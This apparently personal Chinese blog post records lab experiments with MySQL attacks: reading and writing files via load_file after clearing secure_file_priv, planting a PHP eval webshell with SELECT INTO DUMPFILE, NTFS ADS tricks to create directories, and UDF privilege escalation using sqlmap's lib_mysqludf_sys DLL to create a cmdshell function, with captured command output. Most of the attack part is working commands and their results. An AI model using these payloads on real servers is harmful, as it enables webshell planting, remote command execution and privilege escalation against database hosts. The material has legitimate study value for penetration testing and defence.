mysql的补充学习

以前关于mysql只会提数据,并不会处理文件和提权,这里整理一下学习到的新姿势

load_file

其实这个说起来是都知道,但是以前实验的时候总是失败.... 今天再次尝试,发现还是不行,load_file的时候总是返回null,如图 blacsheep 然后试图写入文件的时候弹出了blacsheep 然后百度了一番,改了一下mysql的设置 在mysql.ini最后加了一句

1
secure_file_priv=

然后就可以成功的读写文件了(本身mysql是root权限) blacsheep 同样也可以写shell,比如

1
select "<?php eval($_POST['cmd']);?>" into dumpfile "D://123.php"

blacsheep okok,基础就到这里,下面是关于mysql的提权

udf提权

首先udf的提权会涉及到mysql的版本问题,5.1以上和5.1一下是不一样的 而且提权的系统不一样操作也是不一样的.... 然后涉及到的dll或者so文件在sqlmap的udf文件夹里面都有 直接开始吧,首先看一下你的plugin路径 blacsheep 本机是windows64位,所以用的win/64/xxxx.dll 把这个文件写入到plugin目录下,但是由于sql语句无法创建目录...很尴尬,然后网上有大神流传的方法:利用ntfs ads流创建目录

1
2
select 'xxx' into outfile 'D:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION';
select 'xxx' into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

但是很遗憾...我尝试了几次发现都是失败的.... blacsheep 有人说是mysql更新之后导致的...具体原因我也不清楚... 思考了一下觉得,可以写的话那就写个webshell进去,有权限的话直接创建一个plugin文件夹就ok了,具体的就不看了...本地实验我就直接右键创建了(菜鸡捂脸ing) 创建之后写个sql导入dll

1
select load_file("D:\\python2\\Lib\\site-packages\\sqlmap\\udf\\mysql\\windows\\64\\lib_mysqludf_sys.dll_") into outfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";

最蛋疼的部分来了... 创建这里疯狂出问题... 后来网上找了个脚本才知道是dll文件的问题... 脚本放一下 udf提权 弄好了dll文件后面就简单了... 数据库自选..

1
2
use udf;
create function cmdshell returns string soname 'moonudf.dll';

blacsheep 然后就可以为所欲为了... 这里我把减号删掉了....

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
mysql> select cmdshell('dir');
++
cmdshell('dir')
++
驱动器 D 中的卷是 软件
卷的序列号是 A622-E827

D:\phpStudy\MySQL\data 的目录

2018/02/09 16:06 <DIR> .
2018/02/09 16:06 <DIR> ..
2017/12/26 02:08 <DIR> challenges
2018/02/02 17:49 669 DESKTOP-76O3SAJ.err
2018/02/09 15:15 5 DESKTOP-76O3SAJ.pid
2017/11/27 01:06 <DIR> flappy
2017/12/02 14:13 <DIR> friends
2018/02/02 17:30 18,874,368 ibdata1
2018/02/09 15:15 25,165,824 ib_logfile0
2017/07/12 21:48 25,165,824 ib_logfile1
2017/11/29 03:42 <DIR> mctf_empty
2017/07/12 21:48 <DIR> mysql
2017/11/25 17:46 <DIR> my_db
2017/07/12 21:48 <DIR> performance_schema
2017/12/26 02:08 <DIR> security
2018/02/09 16:34 <DIR> udf
2017/11/08 18:41 <DIR> ultrax
5 个文件 69,206,690 字节
12 个目录 192,709,541,888 可用字节

--------------------------------------------完成!

++
1 row in set (4.84 sec)

mysql>

剩下的创建管理员什么的自己创建就好了~ 对了,最后别忘了drop function cmdshell;